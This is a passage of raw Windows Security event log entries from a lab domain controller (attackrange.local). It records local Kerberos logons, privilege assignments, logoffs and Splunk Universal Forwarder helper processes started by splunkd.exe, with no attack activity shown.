(interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:18:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257244 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4D0841 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:19:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257247 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb24 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:19:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257248 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:19:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257249 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:19:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257250 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:19:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257252 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:19:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257251 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x828 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:19:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257253 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:19:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257256 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4D3D76 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:19:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257255 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4D3D76 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59539 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:19:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257254 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4D3D76 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:20:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257257 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1048 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:20:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257258 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x694 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:20:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257259 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:20:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257260 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:20:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257262 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:20:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257261 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:20:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257263 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:20:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257266 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4D73A0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:20:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257265 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4D73A0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59552 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:20:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257264 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4D73A0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:21:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257267 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not 